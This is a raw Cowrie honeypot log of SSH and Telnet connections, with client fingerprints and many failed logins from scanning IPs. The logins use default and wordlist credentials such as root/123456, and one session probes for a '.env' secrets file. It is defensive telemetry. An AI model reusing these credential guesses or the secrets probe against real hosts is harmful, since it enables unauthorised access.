00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xbdW\\xa2\\xdd/\\xd6\\xf9\\xbdeM%X\\xb5 \\\\;>\\x11\\xb9\\xcc\\x85\\x8c\\xf8@\\xa4D\\xe00\\xa5,\\xe5u\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:41.977456Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:43.101092Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54078,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0a43bb07514","protocol":"ssh","message":"New connection: 92.118.39.92:54078 (10.17.0.5:22) [session: a0a43bb07514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:27:08.212920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:27:08.218219Z","src_ip":"92.118.39.92","session":"a0a43bb07514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:27:08.324894Z","src_ip":"92.118.39.92","session":"a0a43bb07514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.15.215.168","src_port":62236,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ffce1fa2e5e","protocol":"telnet","message":"New connection: 180.15.215.168:62236 (10.17.0.5:23) [session: 6ffce1fa2e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:27:08.409143Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:27:08.680293Z","src_ip":"92.118.39.92","session":"a0a43bb07514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:27:09.786673Z","src_ip":"92.118.39.92","session":"a0a43bb07514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.050574541091919,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:27:21.459602Z","src_ip":"180.15.215.168","session":"6ffce1fa2e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.103.212","src_port":60748,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0d47fc6afc","protocol":"telnet","message":"New connection: 45.148.103.212:60748 (10.17.0.5:23) [session: 3c0d47fc6afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:33.283552Z"}
{"eventid":"cowrie.login.failed","username":"GET //.env HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET //.env HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:33.288568Z","src_ip":"45.148.103.212","session":"3c0d47fc6afc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Go-http-client/1.1/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:33.292387Z","src_ip":"45.148.103.212","session":"3c0d47fc6afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.030452966690063477,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:33.313881Z","src_ip":"45.148.103.212","session":"3c0d47fc6afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.103.212","src_port":61595,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d6905090aa0","protocol":"ssh","message":"New connection: 45.148.103.212:61595 (10.17.0.5:22) [session: 3d6905090aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:35.608122Z"}
{"eventid":"cowrie.client.version","version":"GET //.env HTTP/1.1","message":"Remote SSH version: GET //.env HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:35.612895Z","src_ip":"45.148.103.212","session":"3d6905090aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:35.616562Z","src_ip":"45.148.103.212","session":"3d6905090aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57744,"dst_ip":"159.203.135.109","dst_port":22,"session":"51cf7a0cc9c2","protocol":"ssh","message":"New connection: 195.178.110.218:57744 (159.203.135.109:22) [session: 51cf7a0cc9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:52.665149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:52.669345Z","src_ip":"195.178.110.218","session":"51cf7a0cc9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:52.748881Z","src_ip":"195.178.110.218","session":"51cf7a0cc9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:52.988713Z","src_ip":"195.178.110.218","session":"51cf7a0cc9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:28:54.071411Z","src_ip":"195.178.110.218","session":"51cf7a0cc9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42476,"dst_ip":"10.17.0.5","dst_port":22,"session":"e11f5568d258","protocol":"ssh","message":"New connection: 92.118.39.92:42476 (10.17.0.5:22) [session: e11f5568d258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:29:32.224804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:29:32.228270Z","src_ip":"92.118.39.92","session":"e11f5568d258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:29:32.339899Z","src_ip":"92.118.39.92","session":"e11f5568d258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:29:32.658714Z","src_ip":"92.118.39.92","session":"e11f5568d258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:29:33.766759Z","src_ip":"92.118.39.92","session":"e11f5568d258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43342,"dst_ip":"159.203.135.109","dst_port":22,"session":"f84bba3b8751","protocol":"ssh","message":"New connection: 195.178.110.218:43342 (159.203.135.109:22) [session: f84bba3b8751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:30.661508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:30.666244Z","src_ip":"195.178.110.218","session":"f84bba3b8751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:30.741390Z","src_ip":"195.178.110.218","session":"f84bba3b8751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:30.967839Z","src_ip":"195.178.110.218","session":"f84bba3b8751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:32.045367Z","src_ip":"195.178.110.218","session":"f84bba3b8751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":59122,"dst_ip":"10.17.0.5","dst_port":22,"session":"91dfe8de0257","protocol":"ssh","message":"New connection: 92.118.39.92:59122 (10.17.0.5:22) [session: 91dfe8de0257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:49.384963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:49.389567Z","src_ip":"92.118.39.92","session":"91dfe8de0257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:49.491648Z","src_ip":"92.118.39.92","session":"91dfe8de0257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:49.793067Z","src_ip":"92.118.39.92","session":"91dfe8de0257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:31:50.894233Z","src_ip":"92.118.39.92","session":"91dfe8de0257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":5072,"dst_ip":"159.203.135.109","dst_port":22,"session":"02bfa0517162","protocol":"ssh","message":"New connection: 2.57.121.25:5072 (159.203.135.109:22) [session: 02bfa0517162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:33:55.020876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:33:55.025177Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:33:55.124575Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"puta","message":"login attempt [user/puta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:33:55.597430Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pussyeat","message":"login attempt [user/pussyeat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:33:56.698994Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pussy2","message":"login attempt [user/pussy2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:33:57.801676Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"punjab","message":"login attempt [user/punjab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:33:58.904581Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pumkin","message":"login attempt [user/pumkin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:00.009269Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:01.113397Z","src_ip":"2.57.121.25","session":"02bfa0517162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45304,"dst_ip":"159.203.135.109","dst_port":22,"session":"deb691789e2c","protocol":"ssh","message":"New connection: 195.178.110.218:45304 (159.203.135.109:22) [session: deb691789e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:01.159697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:01.164194Z","src_ip":"195.178.110.218","session":"deb691789e2c","protocol":"ssh"}
